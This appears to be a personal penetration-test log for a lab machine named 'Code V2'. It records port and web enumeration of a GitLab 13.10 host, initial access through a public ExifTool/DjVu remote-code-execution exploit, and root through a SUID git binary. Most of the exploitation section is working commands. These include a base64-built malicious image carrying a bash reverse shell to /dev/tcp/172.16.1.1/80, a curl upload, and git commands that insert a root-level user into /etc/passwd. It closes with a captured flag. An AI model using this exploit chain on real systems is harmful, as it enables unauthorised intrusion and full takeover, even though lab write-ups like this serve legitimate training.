Code V2

🧪 Pentest Log: {{date:2025-08-28}}

🔍 Target Information

Machine Name: Code V2
IP Address: 10.11.1.148
Operating System: Linux

ip=10.11.1.148

📡 Enumeration

🔌 Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 22

Port 80

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

wpscan --url http://$ip

Found the /help page, obtain GitLab version

13.10

💣 Exploitation

📌 Vulnerability Summary

Service / Port: 80
Vulnerability Type: RCE

🚀 Exploit Execution

🔧 Exploit Method

Manual
Public Exploit
Custom Script

Tool / Script Used:

https://www.exploit-db.com/exploits/50532

Setup

echo -e "QVQmVEZPUk0AAAOvREpWTURJUk0AAAAugQACAAAARgAAAKz//96/mSAhyJFO6wwHH9LaiOhr5kQPLHEC7knTbpW9osMiP0ZPUk0AAABeREpWVUlORk8AAAAKAAgACBgAZAAWAElOQ0wAAAAPc2hhcmVkX2Fubm8uaWZmAEJHNDQAAAARAEoBAgAIAAiK5uGxN9l/KokAQkc0NAAAAAQBD/mfQkc0NAAAAAICCkZPUk0AAAMHREpWSUFOVGEAAAFQKG1ldGFkYXRhCgkoQ29weXJpZ2h0ICJcCiIgLiBxeHs="
| base64 -d > lol.jpg

echo -n '/bin/bash -i >& /dev/tcp/172.16.1.1/80 0>&1' >> lol.jpg

echo -n
"fSAuIFwKIiBiICIpICkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCg=="
| base64 -d >> lol.jpg

Exploit

python3 /home/kali/Documents/oscp/Shell\ Handler/penelope/penelope.py -p 80

curl -v -F 'file=@lol.jpg' http://10.11.1.148/$(openssl rand -hex 8)

🧬 Privilege Escalation

👤 Current Access

User: git
Groups: 993(git)
Shell Type: reverse shell

🔍 Enumeration

SUID:

find / -type f -perm -4000 2>/dev/null

found

/usr/bin/git

🔓 Privilege Escalation Exploit

📌 Exploit Summary

Technique Used: SUID Abuse
Target Binary/Service: git
Reference / Source: N/A

🔧 Exploit Steps

Setup

cd /etc

/usr/bin/git init

/usr/bin/git diff /dev/null /etc/passwd > /tmp/output.txt

echo '+tony:$1$test$28Tmd0tsvqI1Eq.TDxcaq/:0:0:tony,,,:/root:/bin/bash' > /tmp/output.txt;

vi /tmp/output.txt

@@ -0,0 +1,26 @@


/usr/bin/git add passwd

/usr/bin/git mv passwd passwd.bak

/usr/bin/git apply --unsafe-paths --directory=/ /tmp/output.txt

Smash to root

su tony

password

Key File

h80ndlgasgtf9mfe5tpo